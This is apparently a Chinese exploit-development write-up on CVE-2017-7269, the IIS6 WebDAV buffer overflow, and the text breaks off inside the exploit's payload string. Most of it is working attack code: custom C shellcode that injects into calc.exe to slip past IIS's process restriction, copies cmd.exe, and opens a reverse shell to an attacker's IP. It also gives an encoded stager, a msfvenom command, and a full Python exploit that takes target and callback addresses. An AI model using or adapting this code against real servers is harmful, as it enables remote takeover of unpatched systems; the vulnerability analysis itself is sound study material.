3月27日华南理工大学的研究人员公布了IIS6的一个栈溢出漏洞(CVE-2017-7269),在2003系统下开启WEBDAV的情况下,可以远程获取Network Service权限。
在尝试调试利用此漏洞的时候,我遇到了一些问题并进行了解决,现在把调试和解决方法记录下来作为学习笔记,以便日后总结复习。
此漏洞出现在httpext.dll的ScStoragePathFromUrl,当发送PROPFIND请求后,IIS会把请求交给WEBDAV的扩展httpext.dll来处理,最终调用到HrCheckIfHeader:
HrCheckIfHeader回去调用CMethUtil::ScStoragePathFromUrl,作用大概是把URL映射到本地文件路径。
在ScStoragePathFromUrl的处理过程中对If头的内容没有正确处理,当出现以If: <http://
开头的字符串时,复制过程中会导致栈溢出。
网上给出此漏洞利用的一个poc:
https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py
利用三次ScStoragePathFromUrl溢出覆盖到IEcb类的虚函数表,最终在调用httpext!ScStripAndCheckHttpPrefix的时候执行到ROP链,rsaenh.dll中的ROP链最终跳转到shellcode执行。
这里的shellcode会被MultiByteToWideChar处理,所以必须编写能经过UNICODE转换的shellcode,可以使用msfvenom来生成shellcode:
msfvenom -p windows/exec CMD="calc.exe" EXITFUNC=thread -e x86/unicode_mixed BufferRegister=ESI
本来以为到这里漏洞利用很简单就会结束,但是改写exp的时候又遇到了一些问题,因此有了本文。
我用msfvenom生成反向回连的shellcode去替换原有shellcode,发现无法回连CMD SHELL,但是会有连接返回来,在目标机器上查看发现没有启动cmd.exe进程。同样用windows/exec payload启动cmd.exe也无法成功,这就奇怪了,难道IIS对启动进程做了限制?禁止w3wp.exe进程去启动cmd.exe?
后来有人发布了msf下的exp程序,试验却可以返回CMDSHELL,观察后发现msf并非直接启动cmd.exe,而是由w3wp启动notepad.exe,再由notepad来启动cmd.exe。这更证实了我的猜测,IIS对自身所创建的进程有限制,无法直接创建cmd进程。
于是我也改造自己的shellcode,由shellcode先创建一个calc.exe进程,然后把shellcode自身注入到这个进程中,在calc中把cmd.exe复制到其他目录,再由原始shellcode创建cmd副本。我用了TK教主的C语言编写shellcode框架(https://github.com/tombkeeper/Shellcode_Template_in_C),shellcode主要代码部分如下:
void ShellCode(EXTENSION_CONTROL_BLOCK *ecb) //这里直接用IIS里的ECB控制块,后面解释为什么用这个 { struct KERNEL32 Kernel32; struct WS2_32 Ws2_32; int i; HMODULE hWs2_32; WSADATA wsaData; SOCKET s1; struct sockaddr_in hax; STARTUPINFO sui; PROCESS_INFORMATION pi; LPVOID remote_shellcodePtr; CONTEXT ctx; //shellcode自身放在POST数据里,可以从ECB控制块中的lpbData里得到,后面详细解释 unsigned char* shellcode = ecb->lpbData; int shellcodeLen = ecb->cbTotalBytes; DWORD sz_Ws2_32[] = { 0x5f327377, 0x642e3233, 0x00006c6c }; DWORD sz_WSAStartup[] = { 0x53415357, 0x74726174, 0x00007075 }; DWORD sz_WSASocketA[] = { 0x53415357, 0x656b636f, 0x00004174 }; DWORD sz_WSAConnect[] = { 0x43415357, 0x656e6e6f, 0x00007463 }; DWORD sz_inet_addr[] = { 0x74656e69, 0x6464615f, 0x00000072 }; DWORD sz_htons[] = { 0x6e6f7468, 0x00000073 }; DWORD sz_Cmd[] = //C:\Windows\System32\cmd.exe { 0x575c3a43, 0x6f646e69, 0x735c7377, 0x65747379, 0x5c32336d, 0x2e646d63, 0x00657865 }; DWORD sz_Calc[] = //C:\Windows\System32\calc.exe { 0x575c3a43, 0x6f646e69, 0x735c7377, 0x65747379, 0x5c32336d, 0x636c6163, 0x6578652e, 0x00000000 }; //sz_Tmp是把cmd.exe复制到IIS Temporary Compressed Files下面的副本,这个目录对于IIS_WPG是可写的 DWORD sz_Tmp[] = //C:\WINDOWS\IIS Temporary Compressed Files\c.exe { 0x575c3a43, 0x4f444e49, 0x495c5357, 0x54205349, 0x6f706d65, 0x79726172, 0x6d6f4320, 0x73657270, 0x20646573, 0x656c6946, 0x2e635c73, 0x00657865 }; char *sz_Ip; DWORD dwPort = 4444; //回连地址放在shellcode末尾,以便修改 _asm{ jmp calladdr backaddr: pop edi mov sz_Ip,edi } Kernel32.BaseAddr = GetKernel32Base(); //Kernel32.LoadLibraryA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_LoadLibraryA); Kernel32.GetModuleHandleA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetModuleHandleA); Kernel32.GetProcAddress = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetProcAddress); Kernel32.CopyFileA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_CopyFileA); Kernel32.CreateProcessA = GetProcAddrByHash(Kernel32.BaseAddr, HASH_CreateProcessA); Kernel32.ExitThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_ExitThread); Kernel32.ResumeThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_ResumeThread); Kernel32.SuspendThread = GetProcAddrByHash(Kernel32.BaseAddr, HASH_SuspendThread); Kernel32.GetThreadContext = GetProcAddrByHash(Kernel32.BaseAddr, HASH_GetThreadContext); Kernel32.VirtualAllocEx = GetProcAddrByHash(Kernel32.BaseAddr, HASH_VirtualAllocEx); Kernel32.WriteProcessMemory = GetProcAddrByHash(Kernel32.BaseAddr, HASH_WriteProcessMemory); Kernel32.SetThreadContext = GetProcAddrByHash(Kernel32.BaseAddr, HASH_SetThreadContext); Kernel32.Sleep = GetProcAddrByHash(Kernel32.BaseAddr, HASH_Sleep); //下面开始真正的shellcode部分,首先获取ws2_32.dll模块的地址,因为在calc.exe进程中是没有加载这个模块的,所以可以判断出shellcode当前是运行在w3wp.exe中还是calc.exe中。 hWs2_32 = Kernel32.GetModuleHandleA(sz_Ws2_32); if(hWs2_32!=NULL) //in w3wp.exe { //在w3wp.exe中就是shellcode第一次运行,以SUSPENDED方式创建calc.exe进程 for(i=0;i<sizeof(sui);i++) { *((char *)&sui+i)=0; } for(i=0;i<sizeof(pi);i++) { *((char *)&pi+i)=0; } Kernel32.CreateProcessA(sz_Calc, NULL, NULL, NULL, NULL, CREATE_SUSPENDED, NULL, NULL, &sui, &pi); Kernel32.ResumeThread(pi.hThread); Kernel32.Sleep(1000); Kernel32.SuspendThread(pi.hThread); ctx.ContextFlags = CONTEXT_CONTROL; Kernel32.GetThreadContext(pi.hThread, &ctx); //在calc进程中分配内存空间存放shellcode remote_shellcodePtr = Kernel32.VirtualAllocEx(pi.hProcess, NULL, shellcodeLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Kernel32.WriteProcessMemory(pi.hProcess, remote_shellcodePtr, shellcode, shellcodeLen, NULL); //把EIP设置成shellcode地址,并回复执行 ctx.Eip = (DWORD)remote_shellcodePtr; ctx.ContextFlags = CONTEXT_CONTROL; Kernel32.SetThreadContext(pi.hThread, &ctx); Kernel32.ResumeThread(pi.hThread); } else //in calc.exe { //在calc.exe中只做一件事,把cmd.exe复制到IIS Temporary Compressed Files到目录下 Kernel32.CopyFileA(sz_Cmd, sz_Tmp, FALSE); Kernel32.ExitThread(1); } //在w3wp中继续运行shellcode,此时calc中的shellcode已经把cmd.exe复制到了IIS Temporary Compressed Files目录下的c.exe文件 Kernel32.Sleep(3000); //回连我们的机器,并执行IIS Temporary Compressed Files\c.exe,后面就和一般的反连shellcode没区别了 Ws2_32.WSAStartup = Kernel32.GetProcAddress(hWs2_32, sz_WSAStartup); Ws2_32.WSASocket = Kernel32.GetProcAddress(hWs2_32, sz_WSASocketA); Ws2_32.WSAConnect = Kernel32.GetProcAddress(hWs2_32, sz_WSAConnect); Ws2_32.inet_addr = Kernel32.GetProcAddress(hWs2_32, sz_inet_addr); Ws2_32.htons = Kernel32.GetProcAddress(hWs2_32, sz_htons); Ws2_32.WSAStartup(MAKEWORD(2, 2), &wsaData); s1 = Ws2_32.WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); hax.sin_family = AF_INET; hax.sin_port = Ws2_32.htons(dwPort); hax.sin_addr.s_addr = Ws2_32.inet_addr(sz_Ip); Ws2_32.WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); //memset(&sui, 0, sizeof(sui)); for(i=0;i<sizeof(sui);i++) { *((char *)&sui+i)=0; } sui.cb = sizeof(sui); sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW); sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1; Kernel32.CreateProcessA(NULL, sz_Tmp, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); Kernel32.ExitThread(1); _asm{ calladdr: call backaddr _emit(0x31); //这里分配一些字节用于存放回连IP,便于在攻击中修改 _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x31); _emit(0x00); } }
整个shellcode的思路就是这样:
1. 创建calc.exe进程,把自身shellcode注入到calc.exe中运行
2. 在calc.exe进程中把cmd.exe复制到IIS Temporary Compressed
Files目录下的c.exe,这样就绕过了w3wp.exe不能执行cmd.exe的限制
3. 在w3wp.exe中继续执行原shellcode,运行c.exe并回连
还遇到一个问题,就是实际攻击中回连IP经常是要改动的,所以这个需要在exp中可指定才行。而我们的shellcode要经过可转UNICODE的ASCII字符编码的,这样每次生成shellcode之后用alpha2进行编码就特别不方便。因此,我把shellcode分成两段,最先执行的一段小shellcode负责找到真正的shellcode,回连功能放在真正的shellcode中,这样功能shellcode就不需要编码了,可以随意改动,问题是如何从小shellcode找到真正的shellcode。
答案就是使用IIS的ECB控制块。ECB是IIS的ISAPI扩展模块中使用到的一个数据结构,ECB存放了IIS中关于HTTP协议的重要数据和函数指针,包括QUERYSTRING和POST数据以及所有HTTP头都可以通过这个结构获取,他定义在httpext.h文件中:
typedef struct _EXTENSION_CONTROL_BLOCK { DWORD cbSize; // size of this struct. DWORD dwVersion; // version info of this spec HCONN ConnID; // Context number not to be modified! DWORD dwHttpStatusCode; // HTTP Status code CHAR lpszLogData[HSE_LOG_BUFFER_LEN];// null terminated log info specific to this Extension DLL LPSTR lpszMethod; // REQUEST_METHOD LPSTR lpszQueryString; // QUERY_STRING LPSTR lpszPathInfo; // PATH_INFO LPSTR lpszPathTranslated; // PATH_TRANSLATED DWORD cbTotalBytes; // Total bytes indicated from client DWORD cbAvailable; // Available number of bytes LPBYTE lpbData; // pointer to cbAvailable bytes LPSTR lpszContentType; // Content type of client data BOOL (WINAPI * GetServerVariable) ( HCONN hConn, LPSTR lpszVariableName, LPVOID lpvBuffer, LPDWORD lpdwSize ); BOOL (WINAPI * WriteClient) ( HCONN ConnID, LPVOID Buffer, LPDWORD lpdwBytes, DWORD dwReserved ); BOOL (WINAPI * ReadClient) ( HCONN ConnID, LPVOID lpvBuffer, LPDWORD lpdwSize ); BOOL (WINAPI * ServerSupportFunction)( HCONN hConn, DWORD dwHSERequest, LPVOID lpvBuffer, LPDWORD lpdwSize, LPDWORD lpdwDataType ); } EXTENSION_CONTROL_BLOCK, *LPEXTENSION_CONTROL_BLOCK;
其中lpbData就是POST数据的指针,我们只需要把真正的shellcode放在POST数据的位置,并把ECB指针传给小shellcode即可。现在的问题就是如何找到ECB指针。其实ECB是ISAPI里非常容易用到的一个结构,我们在原始栈里面的固定便宜就非常容易找到了。原始栈可以通过TEB来获取。
因此整个小shellcode如下:
__asm{ mov ecx,fs:[18h] //取TEB mov ecx,[ecx+4] //堆栈地址 sub ecx,324h //-324的地方存放着ECB指针 mov eax,[ecx] //eax->ECB mov esi,[eax+78h]//ECB偏移0x78的地方是lpbData,也就是我们真正shellcode mov ecx,[eax+74h]//ECB偏移0x74的地方是cbAvailable,也就是shellcode长度 jmp callbk gotip: pop edi mov edx,edi rep movsb //因为DEP限制,POST在数据段里面的shellcode是无法直接执行的,我们把shellcode复制到代码能执行的地址来 push eax //把ECB指针作为参数,去调用Shellcode,这样我们在shellcode中就可以直接用 call edx //这就是void ShellCode(EXTENSION_CONTROL_BLOCK *ecb)的由来 callbk: call gotip nop nop nop nop }
在IIS的溢出中获取ECB的好处不仅仅是方便定位shellcode,ECB中的ReadClient和WriteClient这两个函数指针可以直接对HTTP数据流进行读写,这样我们的shellcode就可以做到不开端口不回连,直接利用HTTP数据通道进行通信,对于有防火墙限制回连的目标来说,是不是很爽呢?
上面的小shellcode经过提取和ALPHA2编码后,变成了:
VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A
用这段shellcode去替换原始poc中的那段,然后把真正的shellcode放在请求最末尾POST数据的位置,这样就可以通过小shellcode找到真正的shellcode执行。整个exp程序如下:
import sys import struct import socket if len(sys.argv)<5: print 'usage:iis6webdav.py targetip targetport reverseip reverseport\n' exit(1) targetip = sys.argv[1] targetport = int(sys.argv[2]) reverseip = sys.argv[3] reverseport = int(sys.argv[4]) shellcode='\x55\x8B\xEC\x81\xEC\xDC\x05\x00\x00\x53\x56\x57\x8B\x45\x08\x8B'+\ '\x40\x78\x89\x85\xE4\xFA\xFF\xFF\x8B\x45\x08\x8B\x40\x70\x89\x45'+\ '\xFC\xC7\x85\xC8\xFC\xFF\xFF\x77\x73\x32\x5F\xC7\x85\xCC\xFC\xFF'+\ '\xFF\x33\x32\x2E\x64\xC7\x85\xD0\xFC\xFF\xFF\x6C\x6C\x00\x00\xC7'+\ '\x85\xD8\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\xDC\xFA\xFF\xFF\x74'+\ '\x61\x72\x74\xC7\x85\xE0\xFA\xFF\xFF\x75\x70\x00\x00\xC7\x85\x58'+\ '\xFA\xFF\xFF\x57\x53\x41\x53\xC7\x85\x5C\xFA\xFF\xFF\x6F\x63\x6B'+\ '\x65\xC7\x85\x60\xFA\xFF\xFF\x74\x41\x00\x00\xC7\x85\xE8\xFC\xFF'+\ '\xFF\x57\x53\x41\x43\xC7\x85\xEC\xFC\xFF\xFF\x6F\x6E\x6E\x65\xC7'+\ '\x85\xF0\xFC\xFF\xFF\x63\x74\x00\x00\xC7\x85\xA8\xFA\xFF\xFF\x69'+\ '\x6E\x65\x74\xC7\x85\xAC\xFA\xFF\xFF\x5F\x61\x64\x64\xC7\x85\xB0'+\ '\xFA\xFF\xFF\x72\x00\x00\x00\xC7\x85\x14\xFD\xFF\xFF\x68\x74\x6F'+\ '\x6E\xC7\x85\x18\xFD\xFF\xFF\x73\x00\x00\x00\xC7\x85\xF4\xFC\xFF'+\ '\xFF\x43\x3A\x5C\x57\xC7\x85\xF8\xFC\xFF\xFF\x69\x6E\x64\x6F\xC7'+\ '\x85\xFC\xFC\xFF\xFF\x77\x73\x5C\x73\xC7\x85\x00\xFD\xFF\xFF\x79'+\ '\x73\x74\x65\xC7\x85\x04\xFD\xFF\xFF\x6D\x33\x32\x5C\xC7\x85\x08'+\ '\xFD\xFF\xFF\x63\x6D\x64\x2E\xC7\x85\x0C\xFD\xFF\xFF\x65\x78\x65'+\ '\x00\xC7\x85\x18\xFB\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\x1C\xFB\xFF'+\ '\xFF\x69\x6E\x64\x6F\xC7\x85\x20\xFB\xFF\xFF\x77\x73\x5C\x73\xC7'+\ '\x85\x24\xFB\xFF\xFF\x79\x73\x74\x65\xC7\x85\x28\xFB\xFF\xFF\x6D'+\ '\x33\x32\x5C\xC7\x85\x2C\xFB\xFF\xFF\x63\x61\x6C\x63\xC7\x85\x30'+\ '\xFB\xFF\xFF\x2E\x65\x78\x65\x83\xA5\x34\xFB\xFF\xFF\x00\xC7\x85'+\ '\xE8\xFA\xFF\xFF\x43\x3A\x5C\x57\xC7\x85\xEC\xFA\xFF\xFF\x49\x4E'+\ '\x44\x4F\xC7\x85\xF0\xFA\xFF\xFF\x57\x53\x5C\x49\xC7\x85\xF4\xFA'+\ '\xFF\xFF\x49\x53\x20\x54\xC7\x85\xF8\xFA\xFF\xFF\x65\x6D\x70\x6F'+\ '\xC7\x85\xFC\xFA\xFF\xFF\x72\x61\x72\x79\xC7\x85\x00\xFB\xFF\xFF'+\ '\x20\x43\x6F\x6D\xC7\x85\x04\xFB\xFF\xFF\x70\x72\x65\x73\xC7\x85'+\ '\x08\xFB\xFF\xFF\x73\x65\x64\x20\xC7\x85\x0C\xFB\xFF\xFF\x46\x69'+\ '\x6C\x65\xC7\x85\x10\xFB\xFF\xFF\x73\x5C\x63\x2E\xC7\x85\x14\xFB'+\ '\xFF\xFF\x65\x78\x65\x00\xC7\x85\xD0\xFA\xFF\xFF'+struct.pack('i',reverseport)+\ '\xE9\x3E\x04\x00\x00\x5F\x89\xBD\xB4\xFA\xFF\xFF\xE8\x4C\x04\x00'+\ '\x00\x89\x85\x24\xFA\xFF\xFF\x68\x53\xC0\x49\x9C\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\x5D\x04\x00\x00\x59\x59\x89\x85\x28\xFA\xFF\xFF\x68'+\ '\x5A\xC1\xCB\xC2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x45\x04\x00\x00\x59'+\ '\x59\x89\x85\x2C\xFA\xFF\xFF\x68\x1C\xC9\x05\xBA\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\x2D\x04\x00\x00\x59\x59\x89\x85\x30\xFA\xFF\xFF\x68'+\ '\x54\x34\x4F\xA2\xFF\xB5\x24\xFA\xFF\xFF\xE8\x15\x04\x00\x00\x59'+\ '\x59\x89\x85\x34\xFA\xFF\xFF\x68\x12\x75\x1D\x45\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\xFD\x03\x00\x00\x59\x59\x89\x85\x38\xFA\xFF\xFF\x68'+\ '\xE9\x65\x73\x1B\xFF\xB5\x24\xFA\xFF\xFF\xE8\xE5\x03\x00\x00\x59'+\ '\x59\x89\x85\x3C\xFA\xFF\xFF\x68\x3A\xFD\xFB\x1E\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\xCD\x03\x00\x00\x59\x59\x89\x85\x40\xFA\xFF\xFF\x68'+\ '\xBD\x50\xD7\x2D\xFF\xB5\x24\xFA\xFF\xFF\xE8\xB5\x03\x00\x00\x59'+\ '\x59\x89\x85\x44\xFA\xFF\xFF\x68\xEF\x60\x08\xE7\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\x9D\x03\x00\x00\x59\x59\x89\x85\x48\xFA\xFF\xFF\x68'+\ '\x83\x94\x7B\x10\xFF\xB5\x24\xFA\xFF\xFF\xE8\x85\x03\x00\x00\x59'+\ '\x59\x89\x85\x4C\xFA\xFF\xFF\x68\x49\x17\x55\xC0\xFF\xB5\x24\xFA'+\ '\xFF\xFF\xE8\x6D\x03\x00\x00\x59\x59\x89\x85\x50\xFA\xFF\xFF\x68'+\ '\xD9\xE5\x1A\x06\xFF\xB5\x24\xFA\xFF\xFF\xE8\x55\x03\x00\x00\x59'+\ '\x59\x89\x85\x54\xFA\xFF\xFF\x8D\x85\xC8\xFC\xFF\xFF\x50\xFF\x95'+\ '\x28\xFA\xFF\xFF\x89\x85\x1C\xFD\xFF\xFF\x83\xBD\x1C\xFD\xFF\xFF'+\ '\x00\x0F\x84\x39\x01\x00\x00\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D'+\ '\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4'+\ '\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x64'+\ '\xFA\xFF\xFF\x00\xEB\xDA\x83\xA5\xD4\xFA\xFF\xFF\x00\xEB\x0D\x8B'+\ '\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF\xFF\x83\xBD\xD4\xFA'+\ '\xFF\xFF\x10\x73\x10\x8B\x85\xD4\xFA\xFF\xFF\x80\xA4\x05\x20\xFD'+\ '\xFF\xFF\x00\xEB\xDA\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA'+\ '\xFF\xFF\x50\x6A\x00\x6A\x00\x6A\x04\x6A\x00\x6A\x00\x6A\x00\x6A'+\ '\x00\x8D\x85\x18\xFB\xFF\xFF\x50\xFF\x95\x34\xFA\xFF\xFF\xFF\xB5'+\ '\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\x68\xE8\x03\x00\x00\xFF'+\ '\x95\x54\xFA\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x40\xFA\xFF'+\ '\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D\x85\x30\xFD\xFF'+\ '\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x44\xFA\xFF\xFF\x6A\x40'+\ '\x68\x00\x10\x00\x00\xFF\x75\xFC\x6A\x00\xFF\xB5\x20\xFD\xFF\xFF'+\ '\xFF\x95\x48\xFA\xFF\xFF\x89\x85\x10\xFD\xFF\xFF\x6A\x00\xFF\x75'+\ '\xFC\xFF\xB5\xE4\xFA\xFF\xFF\xFF\xB5\x10\xFD\xFF\xFF\xFF\xB5\x20'+\ '\xFD\xFF\xFF\xFF\x95\x4C\xFA\xFF\xFF\x8B\x85\x10\xFD\xFF\xFF\x89'+\ '\x85\xE8\xFD\xFF\xFF\xC7\x85\x30\xFD\xFF\xFF\x01\x00\x01\x00\x8D'+\ '\x85\x30\xFD\xFF\xFF\x50\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x50\xFA'+\ '\xFF\xFF\xFF\xB5\x24\xFD\xFF\xFF\xFF\x95\x3C\xFA\xFF\xFF\xEB\x1E'+\ '\x6A\x00\x8D\x85\xE8\xFA\xFF\xFF\x50\x8D\x85\xF4\xFC\xFF\xFF\x50'+\ '\xFF\x95\x30\xFA\xFF\xFF\x6A\x01\xFF\x95\x38\xFA\xFF\xFF\x68\x70'+\ '\x17\x00\x00\xFF\x95\x54\xFA\xFF\xFF\x8D\x85\xD8\xFA\xFF\xFF\x50'+\ '\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xBC\xFA'+\ '\xFF\xFF\x8D\x85\x58\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF'+\ '\x95\x2C\xFA\xFF\xFF\x89\x85\xC0\xFA\xFF\xFF\x8D\x85\xE8\xFC\xFF'+\ '\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85'+\ '\xC4\xFA\xFF\xFF\x8D\x85\xA8\xFA\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF'+\ '\xFF\xFF\x95\x2C\xFA\xFF\xFF\x89\x85\xC8\xFA\xFF\xFF\x8D\x85\x14'+\ '\xFD\xFF\xFF\x50\xFF\xB5\x1C\xFD\xFF\xFF\xFF\x95\x2C\xFA\xFF\xFF'+\ '\x89\x85\xCC\xFA\xFF\xFF\x8D\x85\x38\xFB\xFF\xFF\x50\x68\x02\x02'+\ '\x00\x00\xFF\x95\xBC\xFA\xFF\xFF\x6A\x00\x6A\x00\x6A\x00\x6A\x06'+\ '\x6A\x01\x6A\x02\xFF\x95\xC0\xFA\xFF\xFF\x89\x85\xD4\xFC\xFF\xFF'+\ '\x66\xC7\x85\xD8\xFC\xFF\xFF\x02\x00\xFF\xB5\xD0\xFA\xFF\xFF\xFF'+\ '\x95\xCC\xFA\xFF\xFF\x66\x89\x85\xDA\xFC\xFF\xFF\xFF\xB5\xB4\xFA'+\ '\xFF\xFF\xFF\x95\xC8\xFA\xFF\xFF\x89\x85\xDC\xFC\xFF\xFF\x6A\x00'+\ '\x6A\x00\x6A\x00\x6A\x00\x6A\x10\x8D\x85\xD8\xFC\xFF\xFF\x50\xFF'+\ '\xB5\xD4\xFC\xFF\xFF\xFF\x95\xC4\xFA\xFF\xFF\x83\xA5\xD4\xFA\xFF'+\ '\xFF\x00\xEB\x0D\x8B\x85\xD4\xFA\xFF\xFF\x40\x89\x85\xD4\xFA\xFF'+\ '\xFF\x83\xBD\xD4\xFA\xFF\xFF\x44\x73\x10\x8B\x85\xD4\xFA\xFF\xFF'+\ '\x80\xA4\x05\x64\xFA\xFF\xFF\x00\xEB\xDA\xC7\x85\x64\xFA\xFF\xFF'+\ '\x44\x00\x00\x00\xC7\x85\x90\xFA\xFF\xFF\x01\x01\x00\x00\x8B\x85'+\ '\xD4\xFC\xFF\xFF\x89\x85\xA4\xFA\xFF\xFF\x8B\x85\xA4\xFA\xFF\xFF'+\ '\x89\x85\xA0\xFA\xFF\xFF\x8B\x85\xA0\xFA\xFF\xFF\x89\x85\x9C\xFA'+\ '\xFF\xFF\x8D\x85\x20\xFD\xFF\xFF\x50\x8D\x85\x64\xFA\xFF\xFF\x50'+\ '\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x85\xE8\xFA'+\ '\xFF\xFF\x50\x6A\x00\xFF\x95\x34\xFA\xFF\xFF\x6A\x01\xFF\x95\x38'+\ '\xFA\xFF\xFF\xE8\xBD\xFB\xFF\xFF'+struct.pack('16s',reverseip)+'\x5F\x5E\x5B\xC9\xC3\x64\xA1\x18'+\ '\x00\x00\x00\x8B\x40\x30\x33\xC9\x8B\x40\x0C\x8B\x40\x1C\x8B\x00'+\ '\x8B\x50\x20\x66\x83\x7A\x10\x2E\x74\x06\x41\x83\xF9\x02\x7C\xEE'+\ '\x8B\x40\x08\xC3\x55\x8B\xEC\x53\x56\x57\x8B\x7D\x08\x83\x65\x08'+\ '\x00\x8B\x47\x3C\x8B\x44\x38\x78\x03\xC7\x8B\x70\x20\x03\xF7\x83'+\ '\x78\x18\x00\x76\x2A\x8B\x0E\x03\xCF\x33\xDB\x8A\x11\x84\xD2\x74'+\ '\x0B\x6B\xDB\x21\x0F\xBE\xD2\x03\xDA\x41\xEB\xEF\x3B\x5D\x0C\x74'+\ '\x15\x83\xC6\x04\xFF\x45\x08\x8B\x4D\x08\x3B\x48\x18\x72\xD6\x33'+\ '\xC0\x5F\x5E\x5B\x5D\xC3\x8B\x48\x24\x8B\x55\x08\x8B\x40\x1C\x8D'+\ '\x0C\x51\x0F\xB7\x0C\x39\x8D\x04\x88\x8B\x04\x38\x03\xC7\xEB\xE1' shellcodelen = 1744 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((targetip,targetport)) pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: %d\r\n'%shellcodelen pay+='If: <http://localhost/aaaaaaa' pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d